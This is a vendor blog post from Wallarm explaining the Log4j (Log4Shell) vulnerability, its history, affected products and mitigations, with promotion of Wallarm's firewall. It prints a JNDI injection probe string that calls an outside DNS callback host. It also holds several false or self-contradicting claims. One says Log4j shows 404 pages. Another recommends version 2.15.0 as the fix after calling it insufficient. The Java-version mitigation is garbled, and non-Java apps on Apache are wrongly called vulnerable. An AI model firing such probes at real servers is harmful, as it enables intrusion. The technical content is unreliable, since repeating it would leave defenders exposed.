What is Log4j Vulnerability? Explained by Wallarm

What is Log4j and How does it works?

Log4j is a Java-based framework with its main function as logging the client activities, the application course of action, and identifying any user-logging errors. 

The collected information is shared with the system administrator and users to educate them about any visible or hidden malfunction. The framework is offered free and has a wide user base across the world. 

Speaking of its modus operandi, Log4j is responsible to display the 404 error message when a user types a wrong link or clicks on a broken link. 

Upon visiting such a link, the webserver of the linked domain will inform the user that the page doesn’t exist. Other than displaying the error message, Log4j can also register the events happening on the server’s system administrators.

Based upon the application type, Log4j is used differently. For instance, Minecraft, a famous online game, uses Log4j to note storage usage, commands history, and other such information about the players. Its penetration is so deep that it’s hard to track its presence and utility. It’s omnipresent.

The log4j vulnerability

When successful, this issue allows the threat actor to gain admin-like control on the internet-based devices/resources via Log4j library, irrespective of its version. Log4j problem’s first reported incidence is dated November 24, 2021. Officially, it is also called the CVE-2021-44228 vulnerability. 

Chen Zhaojun from China, who is a security researcher, figured it out first. At that time, the noticed it in a server hosting Minecraft, a Log4j exploit example that most of us use. Attackers were able to acquire full access to the victim's system through the game.

Log4j zero day vulnerability (a known issue without a fix) gave many people a hard time.

Its Latest versions

There are multiple versions of this vulnerability, each acted in a certain different manner.

When the issue came into the limelight as CVE-2021-44228, Apache released v2.15 - the so-called patch everyone was waiting for - instantly. However, it wasn’t sufficient to fix the issue completely. It permitted the bad actor to conduct RCE attacks. 

This patch gave birth to another problem. It created the CVW-2021-45046 vulnerability in Log4j, giving hackers an opportunity to design and introduce the ill-intended data into the system. Version 2.16 patched the problem finally.

Later, the third patch was released to fix CVE-2021-45105 - a loophole that allowed attackers to carry out successful DDoS attacks on the system. 

Finally, the fourth patch, 2.17.1, was released to tackle CVE-2021-44832. This vulnerability allowed the attacker to gain LDAP server’s control and conduct an RCE attack on the target. Its success was conditioned by using a JDBC Appender. Its configuration had a JNDI LDAP data source URI. 

As Log4j2 library is used majorly in almost all the leading platforms like VMWare and AWS. A lot of software is dependent on Log4j 2 and having a vulnerability in it means operational failure at multiple fronts. 

How does it works?

The core of the Log4j issue is based on generating the DNS listener services. To begin with the process, hackers will click on “Get subdomain” and DNSlog will already generate a unique domain name and then share the below-mentioned message to the targeted system. 

${jndi:ldap://.dnslog.cn/}

When the Log4j presented on the DNS server will record this message, an LDAP call will be created on DNSlog that will be observable on DNSlog.cn. 

Using this opportunity, the threat actor will force the targeted system to send the request as per his/her will and introduce the malicious content. As the request will come from the server, Log4j 2 library will execute it, helping out the threat actor’s success eventually. 

What makes Log4Shell so Important? 

This loophole – also called CVE-2021-44228 – is counted among the worst threat-exposure when it comes to technologies around the world. 

If we were to compare the impact of Log4j with previous attacks, it comes close to high-profile attacks like the Equifax data breach, where around 148 million people had to face trouble. Or, its family-like breach named Bashdoor, which affects Unix systems and is very similar to this one.

There are 3 causes that made us make this serious statement:

1. The Simplicity

This vulnerability is too easy to take advantage of. An attacker just requires injecting a string into a general log event, followed by the malicious payload. And it's done.

To say it straightforwardly, you do not need extraordinary skills to exploit. That's the reason why there has been a constant rise in the number of attempts to leverage this weakness since the time it was first detected in December (2021).

The exploit happens very fast and is, therefore, really a reason to worry. One can understand why it is crucial by checking out this demo Minecraft server attack.

2. The Scope

Log4J Vulnerability has a super-wide scope. As it affects a common Java logging Library, the victim could be any Java or Java-based software/application. 

With Java owning a great market share, especially in enterprises, the problem is bigger than you suppose. Then there are servers (including AWS, Microsoft, etc.) and routers that have run in their core. So, if you ask the number of systems affected or the potential count of the systems/instances that could be impacted due to this loophole, it will be in billions.

Now, think of an LDAP server affected by this breach. Boosting the intensity of the breach, this loophole will create a tidal wave of multiple exploits and ransomware hacks, causing one of the biggest exploits till today.

3. The APIs

Imagine not using Java in your main application that faces the internet, not having it in your backend application, and still getting smacked down by the Log4j trouble. How? Well, there are APIs to seal the deal and bring the trouble to you.

Not just large-screens devices or hardware, your phones may also get affected due to this vulnerability. After all, their backend communication mechanism also interacts with the affected library through APIs. For example, an iPhone user could be a victim if his phone is compromised via a malicious string inserted into its backend.

The worst scenario related to this loophole exists for the applications that run on Apache. As Apache itself is Java-based, even a non-Java web application – running on it – is vulnerable to it. The ill-made string can enter the backend application using a vulnerable version of Apache Log4j to initiate an exploit.

You may also have 3rd-party vendors that could expose you to this breach through a compromised API. With time, due to the simplicity of carrying out this attack, threat actors are continuously utilizing this method over and over again. In fact, experts have found that they are trying to improve their exploit-driving tools to crack the patches offered for this loophole.

‍

How do hackers take advantage of the Log4j vulnerability? 

The issue is very advantageous for the attackers if they succeed. 

As the vulnerability makes RCE execution possible, attackers/hackers can steal whatever information they find suitable from the targeted system. Remote code execution also made malware installation and full system control possible. Recently discovered harm possibilities include cryptocurrency mining system hacking.

It is also reported that some of the threat actors have designed malware to infect the internet ecosystem at large. As the issue can affect both, the front-end and back-end system, damage possibilities are endless.

Who is affected by the attacks on Log4j?

As the Log4j2 library is present everywhere, the victim list of Log4j vulnerability is huge and features big names like Apple, Cloudflare, Twitter, Valve, and many others. 

While we try to understand who are the victim(s), it’s imperative to gauge the fact that it is not a person that is the target. Instead, the Log4jShell related attacks focus on the server that this person is controlling/managing.

Speaking of the Apache system versions, Log4j vulnerability versions existed in the 2.0-beta9 version through the 2.14.1 version of the Log4j2 library. Apache also guided end-users to update the old version to the 2.15.0 version as its configuration is competent enough to deal with this vulnerability. 

As software/games like Steam and Minecraft had 2.15.0 or lower versions, i.e. the older configurations of the Log4j 2 library, they also got affected.

Which products were affected? 

Log4Shell affected multiple top vendors around the world. The complete list comprises hundreds of organizations/products. 

From Adobe to CISCO, IBM, and Fortinet, this loophole did not leave anyone. Okta, AWS, and VMware were also among the organizations with their products impacted. FortiGuard, Dell EMC, Elastic, Jira, Confluence, McAfee, Atlassian, Broadcom, and F-Secure are to name a few more in this row. 

All the companies had to respond to the loophole-threat and ensure to neutralize its impact through new releases and patches. It is better to ensure that you use the patched or latest version only.

Even upon not using these software/tools/solutions internally, you might be at risk of exposure. It is due to the APIs and third-party vendors your systems interact with. So, beware of a supply-chain attack and ensure comprehensive vendor-risk management at your organization.

How to detect log4j vulnerability with wallarm? 

Wallarm is a highly inventive and AI-driven API security and threat prevention tool helping organizations to enhance the security infrastructure. Other than API threats, DDoS attacks, threats mentioned in OWASP Top 10 threats, this tool is useful to detect & fix the Log4j issue.

The tool automatically logs the details about the Log4j-related attack attempts in the console, informs the end-use, and starts the mitigation process immediately. The details on all the corresponding changes and its impacts are updated for two hours. 

For real-time updates, you may enable the monitoring mode for Log4j. However, keep in midn that in this mode, you will be able to use a virtual patch.

Using the tool in blocking mode is enough to fix the vulnerabilities without taking any further actions. For any queries and hassles faced during the Log4j vulnerability detection process, Wallarm offers a highly responsive technical team. 

How to fix log4j vulnerability?

If you are using a similar configuration, it is essential that you know about the Log4j vulnerability fix methods. As the impact and outcome of a Log4j vulnerability are too intense, you cannot take any risks.

Gladly, the fixation is not a tedious and brainstorming job. Here are some of the most viable ways to make this happen.

Update to Log4j v2.15.0 

As mentioned previously, this version is already designed in a way to deal with the main loophole. So, updating previous versions to this new version will resolve the problem greatly. 

Use a Cloud WAF 

A feature-rich cloud WAF can help you in continual server monitoring and early Log4j vulnerability detection. So, you must use it and stay safe in the digital landscape. 

Adopt best mitigation practices 

In situations where the hosting server is running on a Java version greater than 6u212, 7u202, 8u192, or 11.0.2, some of the exploits won’t work as these Java versions are using JNDI, and improved versions. It’s a great mitigation tactic. 

For versions Log4j more than 2.10, the vulnerability can be mitigated by changing the 

formatMsgNoLookups system property to true. Also, you can set the JVM parameter -Dlog4j2.formatMsgNoLookups = true. 

Removing the JndiLookup class from the classpath also works best. 

A few more suggestions/[ractices are enlisted for you below:

• Allow only the required traffic from the ports. 
• Limit the egress traffic to the internet from necessary ports only.

Using Wallarm 

Wallarm is a modern-era API security tool offering a wide range of protection measures to keep Log4j and all such threats/issues at bay. The tool features cloud WAF, updated threat detection technique, end-to-end API threat protection, and extensive security testing solution (GoTestWAF). 
As many security and mitigation operations are done automatedly through it, with the backing of a powerful AI, the odds of error, delays, and loopholes are nearly zero. You may use it for detecting issues concerning various Log4j vulnerability versions early.